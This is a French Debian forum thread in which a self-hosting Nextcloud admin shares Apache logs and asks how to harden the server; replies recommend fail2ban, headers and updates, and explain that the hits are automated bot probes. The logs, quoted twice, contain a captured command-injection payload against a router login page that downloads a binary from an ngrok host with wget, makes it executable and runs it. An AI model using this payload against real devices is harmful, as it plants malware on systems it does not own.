# Sécurisation d'un serveur web sous apache 2.4 et debian buster **URL:** \ **Category:** Support Debian\ **Created:** [Mai 17, 2020, 12:37 UTC](https://www.debian-fr.org/t/securisation-dun-serveur-web-sous-apache-2-4-et-debian-buster/82114 "2020-05-17T00:37:10Z")\ **Posts on this page:** 19\ **Page:** 1
**Author:** ![Brun-Paul](https://www.debian-fr.org/letter_avatar_proxy/v4/letter/b/a6a055/32.png) [@Brun-Paul](https://www.debian-fr.org/u/Brun-Paul)\ **Post date:** [Mai 17, 2020, 12:37 UTC](https://www.debian-fr.org/t/securisation-dun-serveur-web-sous-apache-2-4-et-debian-buster/82114/1 "2020-05-17T00:37:10Z")
Bonsoir à tous, Je viens vous voir car ça fait bien une semaine que je recherche des solutions pour sécuriser mon serveur web. J’utilise un vps, et ne suis malheureusement pas développeur, mais avoir un serveur à gérer et je pense une bonne façon aussi d’en apprendre plus sur la sécurité web. J’ai subis diverses attaques il y a de ça une semaine environ, les logs indiquent une tentative d’attaques crsf ainsi que des récupération de pages css sûrement pour de ingénierie .. Voici les quelques logs en question : 193.248.252.103 - - [11/May/2020:18:01:25 +0000] « GET /cron.php HTTP/1.1 » 200 991 « - » « Mozilla/5.0 (X11; Fedora; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 » > 96.126.126.80 - - [11/May/2020:18:08:29 +0000] « GET /index.php/login HTTP/1.1 » 200 3016 « https://mon\_site/ » « Go-http-client/1.1 » > > 46.45.185.182 - - [11/May/2020:20:41:42 +0000] « GET / HTTP/1.1 » 301 626 « - » "Mozilla/5.0 (Macintosh; Inte > > 193.248.252.103 - - [11/May/2020:20:51:48 +0000] « GET /index.php/login HTTP/1.1 » 200 9820 « - » « Mozilla/5.0 (X11; Fedora; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 » > 193.248.252.103 - - [11/May/2020:20:51:49 +0000] « GET /apps/files\_pdfviewer/css/style.css?v=6a154fe0-11 HTTP/1.1 » 200 910 « - » « Mozilla/5.0 (X11; Fedora; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 » > 193.248.252.103 - - [11/May/2020:20:51:49 +0000] « GET /core/css/guest.css?v=40f029ed-11 HTTP/1.1 » 200 6243 « - » « Mozilla/5.0 (X11; Fedora; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 » > 193.248.252.103 - - [11/May/2020:20:51:49 +0000] « GET /index.php/apps/theming/styles?v=11 HTTP/1.1 » 200 2044 « - » "Mozilla/5.0 (X11; Fedora; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044. > > 171.13.14.83 - - [11/May/2020:22:26:58 +0000] « GET / HTTP/1.1 » 302 6424 « - » « Mozilla/5.0 (iPhone; CPU iPhone OS 11\_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1 » > 171.13.14.83 - - [11/May/2020:22:26:58 +0000] « GET /index.php/login HTTP/1.1 » 200 2522 « - » « Mozilla/5.0 (iPhone; CPU iPhone OS 11\_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1 » > 171.13.14.83 - - [11/May/2020:22:26:58 +0000] « GET /apps/files\_pdfviewer/css/style.css?v=6a154fe0-11 HTTP/1.1 » 200 910 « - » « Mozilla/5.0 (iPhone; CPU iPhone OS 11\_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1 » > 171.13.14.57 - - [11/May/2020:22:27:02 +0000] « GET /core/css/guest.css?v=40f029ed-11 HTTP/1.1 » 200 11126 « - » « Mozilla/5.0 (iPhone; CPU iPhone OS 11\_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A372 Safari/604.1 » > 171.13.14.54 - - [11/May/2020:22:27:19 +0000] « - » 408 543 « - » « - » > 171.13.14.53 - - [11/May/2020:22:27:20 +0000] « - » 408 543 « - » « - » > 171.13.14.83 - - [11/May/2020:22:27:20 +0000] « - » 408 4882 « - » « - » > 171.13.14.84 - - [11/May/2020:22:27:21 +0000] « - » 408 4882 « - » « - » > > 196.52.43.121 - - [11/May/2020:23:23:33 +0000] « GET / HTTP/1.0 » 301 590 « - » « Mozilla/5.0 (X11; Linux x86\_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3602.2 Safari/537.36 » > 162.243.136.158 - - [11/May/2020:23:27:22 +0000] « GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1 » 400 9941 « - » « Mozilla/5.0 zgrab/0.x » > 193.42.99.162 - - [11/May/2020:23:42:09 +0000] « HEAD /robots.txt HTTP/1.0 » 301 273 « - » « - » Je n’ai pas forcément les compétences nécessaire pour discerner avec précision chaque comportements, j’ai seulement des hypothèses pour certaines lignes > 162.243.136.158 - - [11/May/2020:23:27:22 +0000] « GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1 » 400 9941 « - » « Mozilla/5.0 zgrab/0.x » > 187.190.246.249 - - [11/May/2020:17:56:26 +0000] « POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}‹ cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}[http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7](http://19ce033f.ngrok.io/arm7;$%7BIFS%7Dchmod$%7BIFS%7D777$%7BIFS%7Darm7;$%7BIFS%7D./arm7) ›%0A%27&loginUser=a&loginPwd=a HTTP/1.1 » 400 0 « - » « - » Comme celles ci dessous qui me semble t-il ressemble à du xss … On voit clairement les commandes utilisée … un chmod 777 un wget … Pour l’instant les ip concernées ont étaient bloqué via .htaccess mais j’en et encore vu d’autres récemment de Russie, Syrie, etc … En fouillant sur le net je suis tombé sur des sites intéressant tels que : [OWASP CSRFGuard | OWASP Foundation](https://owasp.org/www-project-csrfguard/) [Embedding ModSecurity – Welcome to netnea](https://www.netnea.com/cms/apache-tutorial-6_embedding-modsecurity/) [https://wiki.visionduweb.fr/index.php?title=Installer\_Apache2\_sur\_Debian#Require\_host\_-\_Les\_h.C3.B4tes\_du\_domaine\_ont\_l.27autorisation\_d.27acc.C3.A8s.2C\_tous\_les\_autres\_sont\_rejet.C3.A9s](https://wiki.visionduweb.fr/index.php?title=Installer_Apache2_sur_Debian#Require_host_-_Les_h.C3.B4tes_du_domaine_ont_l.27autorisation_d.27acc.C3.A8s.2C_tous_les_autres_sont_rejet.C3.A9s) Seulement où certains ne sont plus à jours, où pour d’autres il s’agit de conseils plus que de réels solutions factuel. Bref ça m’aide mais ça ne vaut pas l’aide personnalisée de gens plus expérimenté. En lisant les articles ici et là apparemment ce qui conviendrais le mieux en terme de polyvalences / efficacités serait mods-security mais j’ai aussi pu lire que sa configuration était très sensible, donc je ne me voit pas me lancer dans un tutoriel à l’aveuglette … Je pourrais aussi choisis de bloquer toutes les ip sauf quelques une mais j’aimerais si possible éviter d’en arriver à une solution aussi drastique … Pour ce qui est de bloquer les ip en dehors de la zone française, je viens de trouver ce post [Iptables interdire les pays sauf la france - #4 par loreleil](https://www.debian-fr.org/t/iptables-interdire-les-pays-sauf-la-france/53801/4) donc merci 😉 Dans tous les cas, je ne demande qu’à apprendre donc si vous avez des liens / conseils je suis preneur. Merci d’avance à tous ! PS : J’ai essayé de bloquer les ip des pays qui attaques couramment, j’ai pour ça suivit la doc de ma version à savoir [Contrôle d'accès - Serveur HTTP Apache Version 2.4](https://httpd.apache.org/docs/2.4/fr/howto/access.html) ça ne fonctionne pas … aucuns ping du serveur j’obtiens un message avec délais d’attente dépassé … Voici un extrait de ce que j’ai mit dans le htaccess > Require all granted Require not ip 50.62.136.183 Require not ip 193.248.252.103 Require not ip 1.34.88.3 Require not ip 5.202.150.143 Require not ip 80.82.78.104 Est ce parce que ma liste est trop longue selon vous ? 🤔 EDIT : Je viens de regarder il semblerait que le problème vienne du fait que la limite d’opération simultanée est trop importante (arrêter moi si je me trompe ) > server reached MaxRequestWorkers setting, consider raising the MaxRequestWorkers setting ---
**Author:** ![PmGs](https://www.debian-fr.org/letter_avatar_proxy/v4/letter/p/dfb087/32.png) [@PmGs](https://www.debian-fr.org/u/PmGs)\ **Post date:** [Mai 17, 2020, 2:11 UTC](https://www.debian-fr.org/t/securisation-dun-serveur-web-sous-apache-2-4-et-debian-buster/82114/2 "2020-05-17T14:11:18Z")
Comment tes « clients » pourraient-il lire correctement tes pages sans avoir accès à tes .css? ---
**Author:** ![Brun-Paul](https://www.debian-fr.org/letter_avatar_proxy/v4/letter/b/a6a055/32.png) [@Brun-Paul](https://www.debian-fr.org/u/Brun-Paul)\ **Post date:** [Mai 17, 2020, 2:19 UTC](https://www.debian-fr.org/t/securisation-dun-serveur-web-sous-apache-2-4-et-debian-buster/82114/3 "2020-05-17T14:19:37Z")
Bonjour @PmGs ! Je suppose que tu fais allusion à cette ligne ci > [@Brun-Paul](#): > > j’ai subis diverses attaques il y a de ça une semaine environ, les logs indiquent une tentative d’attaques crsf ainsi que des récupération de pages css sûrement pour de ingénierie … Je ne fait pas allusion à une volonté de ma part de vouloir bloquer le css c’est simplement que je constate d’aprés les logs que des pages contenant du css ont était téléchargés … Je ne pense pas qu’un utilisateur lambda ai besoin de télécharger du css …Donc m’y à part pour de l’inginierie je ne vois pas l’intéret … c’était simplement ça le but de ma remarque 🙂 Mais je suis bien evidemment d’accord avec toi le but n’est pas de bloquer le css seulement d’interdire l’accés au site à ceux qui n’ont rien à y faire ---
**Author:** ![PmGs](https://www.debian-fr.org/letter_avatar_proxy/v4/letter/p/dfb087/32.png) [@PmGs](https://www.debian-fr.org/u/PmGs)\ **Post date:** [Mai 17, 2020, 2:23 UTC](https://www.debian-fr.org/t/securisation-dun-serveur-web-sous-apache-2-4-et-debian-buster/82114/4 "2020-05-17T14:23:04Z")
Dans ce cas c’est simple, tu bloques (.htaccess) tous ceux qui n’ont rien à y faire ou tu autorises uniquement ceux qui ont à y faire … ---
**Author:** ![Brun-Paul](https://www.debian-fr.org/letter_avatar_proxy/v4/letter/b/a6a055/32.png) [@Brun-Paul](https://www.debian-fr.org/u/Brun-Paul)\ **Post date:** [Mai 17, 2020, 2:28 UTC](https://www.debian-fr.org/t/securisation-dun-serveur-web-sous-apache-2-4-et-debian-buster/82114/5 "2020-05-17T14:28:35Z")
@PmGs c’est exactement ce que j’ai fait c’est marqué plus haut 😉 mais j’obtiens une erreur 500 quand .htaccess contient trop de directives d’interdiction … Tout le détail est dans le premier message 🙂 Je continu à chercher d’où ça peut provenir en attendant en espérant finir par trouver EDIT : Le probléme étant que les attaques sont nombreuses, je ne peut donc pas me contenter de 4 lignes deny dans .htaccess … rien que là j’ai rallumé apache pour voir si suite à mes modifications j’y avait access bah sous mes yeux en direct un russe à essayer d’accéder au .htaccess … ---
**Author:** ![Clochette](https://www.debian-fr.org/user_avatar/www.debian-fr.org/clochette/32/8757_2.png) [@Clochette](https://www.debian-fr.org/u/Clochette)\ **Post date:** [Mai 17, 2020, 5:28 UTC](https://www.debian-fr.org/t/securisation-dun-serveur-web-sous-apache-2-4-et-debian-buster/82114/6 "2020-05-17T17:28:01Z")
Peut-être que le mod\_evasive et fail2ban bien coordonnée suffiront, et pourquoi pas avec un waf que ce soit le mod\_security ou carrément un nginx naxsi. ---
**Author:** ![Brun-Paul](https://www.debian-fr.org/letter_avatar_proxy/v4/letter/b/a6a055/32.png) [@Brun-Paul](https://www.debian-fr.org/u/Brun-Paul)\ **Post date:** [Mai 17, 2020, 5:40 UTC](https://www.debian-fr.org/t/securisation-dun-serveur-web-sous-apache-2-4-et-debian-buster/82114/7 "2020-05-17T17:40:01Z")
@Clochette Merci pour ta réponse !! Je ne connaissais pas malgré mes différentes recherches mods\_evasive donc je vais lire la doc de plus prêt merci ! Pour fail2ban il est déjà en place, et je n’ai à vrai dire eu que deux petites tentatives dessus, qui bien sûr ont était bloqué. > [@Clochette](#): > > ou carrément un nginx naxsi. Je ne connais pas non plus je vais regarder ça, à noter tout de même que je suis sous apache et non nginx … ( à moins que ça ne fasse aucune différences pour cette solution ? ) EDiT : @Clochette Pour le mods\_security hélas je n’ai pas trouvé de réel maniére pour l’nstaller proprement et les sites trouvé ne sont pour la plupart plus à jour .. Pour nginx naxsi effectivement comme son nom l’indique il est pour nginx si jamais je n’arrive vraiment pas à installer le mods\_security peut etre que je demenagerais le site sous nginx à voir j’espere malgré tout ne pas devoir en arriver là ---
**Author:** ![nam1962](https://www.debian-fr.org/user_avatar/www.debian-fr.org/nam1962/32/9129_2.png) [@nam1962](https://www.debian-fr.org/u/nam1962)\ **Post date:** [Mai 18, 2020, 6:32 UTC](https://www.debian-fr.org/t/securisation-dun-serveur-web-sous-apache-2-4-et-debian-buster/82114/8 "2020-05-18T06:32:38Z")
Une suggestion : Ninjafirewall, il y a une version wordpress et une version php. Je les utilise dans la version gratuite depuis 10 ans. ---
**Author:** ![Clochette](https://www.debian-fr.org/user_avatar/www.debian-fr.org/clochette/32/8757_2.png) [@Clochette](https://www.debian-fr.org/u/Clochette)\ **Post date:** [Mai 18, 2020, 6:39 UTC](https://www.debian-fr.org/t/securisation-dun-serveur-web-sous-apache-2-4-et-debian-buster/82114/9 "2020-05-18T06:39:09Z")
> [@Brun-Paul](#): > > Je ne connais pas non plus je vais regarder ça, à noter tout de même que je suis sous apache et non nginx … ( à moins que ça ne fasse aucune différences pour cette solution ? ) C’est un WAF et comme son nom l’indique il se place en amont du serveur web, peu importe que l’on utilise apache ou nginx, à l’identique d’ailleurs du mod\_security, qui peu très bien se placer en amont d’un nginx, même si je trouverai ça rigolo dans ce cas là 😃 > [@Brun-Paul](#): > > @Clochette Pour le mods\_security hélas je n’ai pas trouvé de réel maniére pour l’nstaller proprement et les sites trouvé ne sont pour la plupart plus à jour … Rien de plus simple pour l’installation : > **[Debian -- Error](https://packages.debian.org/buster/libapache2-mod-security2)** Ce sera pour sa configuration que ce sera pus délicat, mais il me semble avoir aperçu quelques liens en langue de Shakespeare. Après moi j’ai plus l’habitude d’avoir le WAF en amont de l’infrastructure avec de l’Opnsense ou autre donc bon, et je travail sous Nginx la plus part du temps 😃 ---
**Author:** ![anon70622873](https://www.debian-fr.org/letter_avatar_proxy/v4/letter/a/278dde/32.png) [@anon70622873](https://www.debian-fr.org/u/anon70622873)\ **Post date:** [Mai 18, 2020, 7:24 UTC](https://www.debian-fr.org/t/securisation-dun-serveur-web-sous-apache-2-4-et-debian-buster/82114/10 "2020-05-18T07:24:52Z")
Bonjour, Avant d’installer des usines à gaz plus ou moins efficaces, il vaut mieux se concentrer sur la sécurité des applications web que tu héberges. Donc vérifier qu’elles sont bien à jour et ne présentent pas de failles connues et éventuellement faire un audit dessus. Des applications comme [OWASP](https://owasp.org/www-project-web-security-testing-guide/) permettent justement de faire cela. Côté serveur effectivement le mod-evasive et le mod\_security d’Apache peuvent être utiles dans certaines circonstances, mais attention à leur configuration et aux pertes de performances. Avant d’envisager ces modules il faut déjà cloisonner les différents sites que tu héberges : un utilisateur différent pour exécuter les scripts de chaque site et des droits d’accès minimaux sur l’arborescence. Il faut aussi utilise le module headers d’Apache pour activer un certain nombre de protections, a minima : ```auto Header always set X-Content-Type-Options "nosniff" Header always set X-XSS-Protection "1; mode=block" ``` ainsi que les [CSP](https://content-security-policy.com/) pour n’autoriser que les ressources, notamment les scripts, provenant de sources fiables. C’est un peu pénible à bien configurer, mais c’est très utile. En dernier recours, fail2ban peut-être utilisé pour bloquer les IP qui insistent pour différentes choses (script, faux robots, brute force sur les interfaces de connexion, etc.). ---
**Author:** ![Brun-Paul](https://www.debian-fr.org/letter_avatar_proxy/v4/letter/b/a6a055/32.png) [@Brun-Paul](https://www.debian-fr.org/u/Brun-Paul)\ **Post date:** [Mai 18, 2020, 8:13 UTC](https://www.debian-fr.org/t/securisation-dun-serveur-web-sous-apache-2-4-et-debian-buster/82114/11 "2020-05-18T20:13:03Z")
@nam1962 Ce n’est pas un wordpress mais un service nextcloud 🙂 @Clochette > [@Clochette](#): > > C’est un WAF et comme son nom l’indique il se place en amont du serveur web, peu importe que l’on utilise apache ou nginx, C’est bon à savoir ! Je pensais qu’il me faudrait démènager tous le site sur nginx ! > [@Clochette](#): > > Rien de plus simple pour l’installation : Oui, j’avais déjà vu que c’était possible par ce biais je parlais de la config et des tutos qui n’ont pu l’air à jour et non de l’installation en tant que t’elle autant pour moi > [@Clochette](#): > > Après moi j’ai plus l’habitude d’avoir le WAF en amont de l’infrastructure avec de l’Opnsense ou autre donc bon, et je travail sous Nginx la plus part du temps Opnsense est un autre WAF je suppose ? J’ai lû que apparemment le WAF de nginx était novateur par rapport à ces concurrents …Est ce que ça veut dire qu’il vaut mieux utiliser le waf de nginx plutôt que celui de apache ? ( en terme d’efficacité ) où toute la subtilité et l’efficacité réside « uniquement » dans sa manière de configurer l’outil ? @anon70622873 Bonjour > [@anon70622873](#): > > Avant d’installer des usines à gaz plus ou moins efficaces, il vaut mieux se concentrer sur la sécurité des applications web que tu héberges. Donc vérifier qu’elles sont bien à jour et ne présentent pas de failles connues et éventuellement faire un audit dessus. Des applications comme [OWASP](https://owasp.org/www-project-web-security-testing-guide/) permettent justement de faire cela. Alors justement ! J’ai oublié de le préciser mais j’ai effectué un scan et owasp m’a trouvé 8 failles de moyenne à faible … L’ennuie c’est que comme préciser plus haut je n’ai pas de compétences en développement web …Autant je me débrouille plus où moins en réseau autant de dev web pas encore .. Donc quoi faire avec ces erreurs ça … J’ai bien evidemment fait des recherches en fonctions des résultats de owasp mais aucun articles n’a expliqué de manière clair comment corriger ces failles et dans quel fichier allez … Si tu possède une plus grande expérience que moi dans le domaine ( toi où un autre ) on pourrait envisager de ce contacter par mp afin que je relance apache pour que tu puisse utiliser owasp sur mon site pour constater les failles qui sont trouvé. > [@anon70622873](#): > > Côté serveur effectivement le mod-evasive et le mod\_security d’Apache peuvent être utiles dans certaines circonstances, mais attention à leur configuration et aux pertes de performances. > Avant d’envisager ces modules il faut déjà cloisonner les différents sites que tu héberges : un utilisateur différent pour exécuter les scripts de chaque site et des droits d’accès minimaux sur l’arborescence. Je ne possède qu’un seul site un serveur nextcloud. Pour ce qui est des performances du serveur j’ai un vps il n’a que 2 coeur avec 8 go de ram donc je pense pas pouvoir concurrencer facebook demain en terme de traffic supporté avec ça … Pour ce qui est des Headers c’était déjà le cas > Header always set Referrer-Policy « no-referrer » > Header always set X-Content-Type-Options « nosniff » > Header always set X-Download-Options « noopen » > Header always set X-Frame-Options « SAMEORIGIN » > Header always set X-Permitted-Cross-Domain-Policies « none » > Header always set X-Robots-Tag « none » > Header always set X-XSS-Protection « 1; mode=block » > SetEnv modHeadersAvailable true Par contre je n’ai pas trouvé de ligne csp je suppose que ces lignes sont dans le .htaccess aussi ? > [@anon70622873](#): > > En dernier recours, fail2ban peut-être utilisé pour bloquer les IP qui insistent pour différentes choses (script, faux robots, brute force sur les interfaces de connexion, etc.). Fail2ban est déjà en place pour le ssh, par contre pas sûr qu’il le soit pour tous ce que tu cite … ---
**Author:** ![nam1962](https://www.debian-fr.org/user_avatar/www.debian-fr.org/nam1962/32/9129_2.png) [@nam1962](https://www.debian-fr.org/u/nam1962)\ **Post date:** [Mai 18, 2020, 8:55 UTC](https://www.debian-fr.org/t/securisation-dun-serveur-web-sous-apache-2-4-et-debian-buster/82114/12 "2020-05-18T20:55:58Z")
> [@Brun-Paul](#): > > @nam1962 Ce n’est pas un wordpress mais un service nextcloud 🙂 J’avais subodoré et… Ninjafirewall pro est un WAF Php pour sites non WordPress 😉 ---
**Author:** ![Brun-Paul](https://www.debian-fr.org/letter_avatar_proxy/v4/letter/b/a6a055/32.png) [@Brun-Paul](https://www.debian-fr.org/u/Brun-Paul)\ **Post date:** [Mai 18, 2020, 8:59 UTC](https://www.debian-fr.org/t/securisation-dun-serveur-web-sous-apache-2-4-et-debian-buster/82114/13 "2020-05-18T20:59:26Z")
@nam1962 haha autant pour moi alors 🙂 je vais regarder ça aussi du coup … Je constate que pour les waf aussi il y a l’air d’avoir moultes solutions existante … qu’est ce qui les différencie ? Parce que je vais pas savoir quoi choisir du coup 😜 ---
**Author:** ![anon70622873](https://www.debian-fr.org/letter_avatar_proxy/v4/letter/a/278dde/32.png) [@anon70622873](https://www.debian-fr.org/u/anon70622873)\ **Post date:** [Mai 19, 2020, 6:42 UTC](https://www.debian-fr.org/t/securisation-dun-serveur-web-sous-apache-2-4-et-debian-buster/82114/14 "2020-05-19T06:42:30Z")
Si tu n’héberges que Nextcloud, il n’y a pas trop de souci à se faire, même si la sécurité à 100% n’existe pas. Nextcloud est bien sécurisé par défaut et inutile de jouer avec les CSP pour celui-ci. Les points à vérifier sont : - connexions en HTTPS obligatoires ; - mise à jour de Nextcloud et de ses applications dès qu’elles sont publiées ; - éviter d’utiliser les application non approuvées par Nextcloud ; - un dossier _data_ de préférences en dehors de la racine web ; - des mots de passe solides pour les utilisateurs. S’il n’est pas possible de contrôler la solidité des mots de passe des utilisateurs mettre en place un filtrage fail2ban pour limiter les attaques par force brute. Il y a plein de sites web qui décrivent comment faire. Il y a aussi des applications Nextcloud. Je déconseille le WAF qui risque de plomber les performances pour un gain de sécurité nul ou presque. Dans ce contexte cela me semble être un bricolage inutile. ---
**Author:** ![Brun-Paul](https://www.debian-fr.org/letter_avatar_proxy/v4/letter/b/a6a055/32.png) [@Brun-Paul](https://www.debian-fr.org/u/Brun-Paul)\ **Post date:** [Mai 19, 2020, 8:33 UTC](https://www.debian-fr.org/t/securisation-dun-serveur-web-sous-apache-2-4-et-debian-buster/82114/15 "2020-05-19T08:33:23Z")
> [@anon70622873](#): > > Si tu n’héberge que Nextcloud, il n’y a pas trop de souci à se faire, me si la sécurité à 100% n’existe pas. Nextcloud est bien sécurisé par défaut Pour le ssl c’est fait, j’ai également mit en place le hsts et fait en sorte d’obtenir la note maxlmal sur [SSL Server Test (Powered by Qualys SSL Labs)](https://www.ssllabs.com/ssltest/) Mais il n’empéches les attaques sont nombreuses … Pourquoi s’embéterait-ils à attaquer si c’est pour ne rien trouver … J’ai vu notamment un d’eux revenir trés souvent sur le site et ce rediriqer vers index.php/csrftoken Si cette manoeuvre est caduque pourquoi revenir trés régulièrement sur cette page ci ? Sans parles des téléchargements de pages css où tentative xss … Où bien comme là > 187.190.246.249 - - [11/May/2020:17:56:26 +0000] « POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}‹ cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}[http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7](http://19ce033f.ngrok.io/arm7;%24%7BIFS%7Dchmod%24%7BIFS%7D777%24%7BIFS%7Darm7;%24%7BIFS%7D./arm7) ›%0A%27&loginUser=a&loginPwd=a HTTP/1.1 » 400 0 « - » « - » Où on voit clairement la tentatives d’envoyer des commandes au serveur … Surtout que le serveur lui envoie seulement un bad request et non un access deny En somme je ne veux pas remettre en cause ce que tu dis car il parait évident que tu as l’air plus expérimenté que moi sur le sujet mais il parait normal que je sois inquiet par toutes ces attaques en sachant que les même ips reviennent enconre et encore … Sans parler des nouvelles … En sachant que mes connaissances sur le dev web est limité j’ai toujours un doute quant au fait de savoir si le site est correctement configuré … même si tout m’a pour l’instant l’air d’indiquer que oui je ne peut pas m’empécher de me dire que toutes ces attaques finiront forcément par payer … Et je ne me sens légitimement pas rassurer par cette situation en me connectant au site. Pour ce que tu préconise, c’est délà fait et en fait ça me parait seulement être du bon sens … Et pour ce qui est de la sécurité parfaite bien evidemment qu’il serait illusoire de penser qu’elle existe mais quand même … là au vu de leurs nombre ça donne l’impression que c’est open bar … et les bloquer tous dans le .htaccess au vu de leurs nombres est je pense pas forcément la solution la plus adéquate … Peut être que je devrais utiliser ipset pour blacklister toutes les ip non française ce qui limiterait déjà considérablement les attaques mais c’est en supposant que ça ne ralentisse seulement de manière raisonnable l’accès au site ce donc je ne suis pas sûr > Je déconseille le WAF qui risque de plomber les performances pour un gain de sécurité nul ou presque. Dans ce contexte cela me semble être un bricolage inutile. > [/quote] Peux tu m’en dire plus s’il te plait ? Etant donné que la majeur parti voir la totalité des attaques sont de type xss je pensais pourtant que ça serait justement adapté et que la sécurité en serait au contraire logiquement renforcé que sans rien du tout 🤔 ---
**Author:** ![anon70622873](https://www.debian-fr.org/letter_avatar_proxy/v4/letter/a/278dde/32.png) [@anon70622873](https://www.debian-fr.org/u/anon70622873)\ **Post date:** [Mai 19, 2020, 9:29 UTC](https://www.debian-fr.org/t/securisation-dun-serveur-web-sous-apache-2-4-et-debian-buster/82114/16 "2020-05-19T09:29:59Z")
> [@Brun-Paul](#): > > Mais il n’empéches les attaques sont nombreuses … Pourquoi s’embéterait-ils à attaquer si c’est pour ne rien trouver … À partir du moment où tu as un serveur web, tu verras forcément de nombreuses « _attaques_ ». Ce sont en fait des tentatives effectuées par des robots à la recherche de failles de sécurité. Si tu regardes tes logs tu verras bien que ces tentatives échouent en renvoyant un code HTTP 4XX. Il ne faut non plus s’alarmer pour la moindre tentative de connexion ou d’envoi de données… La ligne de log que tu donnes, par exemple, est une tentative pour exploiter cette faille : [https://www.skullarmy.net/2020/01/draytek-unauthenticated-rce-in-draytek.html](https://www.skullarmy.net/2020/01/draytek-unauthenticated-rce-in-draytek.html) qui ne te concerne absolument pas 🙂 De la même manière j’ai des dizaines de lignes dans mes logs de sites qui n’utilisent pas WordPress contenant : ```auto "… /wp-login.php HTTP/1.1" 404… ``` qui sont autant de tentatives de connexion à un WordPress qui n’existe pas. ---
**Author:** ![Brun-Paul](https://www.debian-fr.org/letter_avatar_proxy/v4/letter/b/a6a055/32.png) [@Brun-Paul](https://www.debian-fr.org/u/Brun-Paul)\ **Post date:** [Mai 20, 2020, 10:56 UTC](https://www.debian-fr.org/t/securisation-dun-serveur-web-sous-apache-2-4-et-debian-buster/82114/17 "2020-05-20T10:56:09Z")
@anon70622873 D’accord ! ça me rassure je te remercie !! Du coup à quel moment est t-il judiscieux de mettre en plaace des WAF selon toi ? Et pourquoi ceux ci auront un gain nul où presque là où justement ils sort censé apporter une plus value …? J’ai mit en place fail2ban contre les bots à voir maintenant si ça fonctionne, et peux tu m’expliquer à quoi sert la page indox.php/csrf\_token ? J’ai crû comprendre que c’est ce token qui gère l’authentification utilisateur … ? En effet quand je m’authentifie même une fois logué un appel est fait sur cette page. j’ai lû qu’il était possible dans certains cas de deviner comment sont généré ces tokens et donc de pouvoir ensuite tenté à la suite d’un évènement type changement de mot de passe d’amener un user sur une fausse page pour lui voler ce token ce qui permettrais d’être loggué … Sous réserve d’avoir bien comprit … N’est ce pas dangereux de laisser cette page en lecture ? Ne ferais je pas mieux d’en interdire la lecture ? Où est ce que cela risque de compromettre l’authentification des utilisateurs légitime ? ---
**Author:** ![anon70622873](https://www.debian-fr.org/letter_avatar_proxy/v4/letter/a/278dde/32.png) [@anon70622873](https://www.debian-fr.org/u/anon70622873)\ **Post date:** [Mai 20, 2020, 11:55 UTC](https://www.debian-fr.org/t/securisation-dun-serveur-web-sous-apache-2-4-et-debian-buster/82114/18 "2020-05-20T11:55:00Z")
Les jetons CSRF sont justement faits pour éviter les failles de type CSRF en vérifiant la validité du jeton à chaque action. > **[Token-Based Mitigation - Cross-Site Request Forgery Prevention - OWASP Cheat...](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html#token-based-mitigation)** > > A Cross-Site Request Forgery (CSRF) attack occurs when a malicious web site, email, blog, instant message, or program tricks an authenticated user's web browser into performing an unwanted action on a trusted site. If a target user is authenticated... > **[Cross-site request forgery | Prevention](https://en.wikipedia.org/wiki/Cross-site_request_forgery#Prevention)** > > Most CSRF prevention techniques work by embedding additional authentication data into requests that allows the web application to detect requests from unauthorized locations. Ces jetons sont générés de manières sécurisée (algo de hashage solide plus salage) et sont pratiquement impossible à prédire. Évidement si tu t’amuses à toucher à cela ton Nextcloud ne fonctionnera plus. Pour les WAF, je laisse le soin aux spécialistes qui en ont l’usage d’expliquer pourquoi dans leur cas le bénéfice en terme de sécurité est supérieur à la perte de performances. Pour celui que je connais, à savoir le mod\_security pour Apache, il fonctionne en filtrant les requêtes HTTP d’après des filtres établis à l’aide d’expression régulières. Donc plus ces filtres sont nombreux et plus les performances diminuent. On peut arriver à multiplier par 10 le temps de chargement d’une page en activant tous les filtres ! D’autres part les filtres fournis concernent des failles connues, qui donc devrait être corrigées si possible du côté de l’application web et non palliées par une surcouche de sécurité. Configurer correctement ces filtres demande du temps, des compétences et une grande connaissance des application à protéger et de leurs failles potentielles. Le seul cas où sont usage me paraît justifié, et encore…, c’est quand on héberge des sites potentiellement codés avec les pieds ou de vieux CMS que l’on ne peut plus mettre à jour. ---
**Author:** ![Zargos](https://www.debian-fr.org/user_avatar/www.debian-fr.org/zargos/32/10889_2.png) [@Zargos](https://www.debian-fr.org/u/Zargos)\ **Post date:** [Mai 20, 2020, 2:30 UTC](https://www.debian-fr.org/t/securisation-dun-serveur-web-sous-apache-2-4-et-debian-buster/82114/19 "2020-05-20T14:30:27Z")
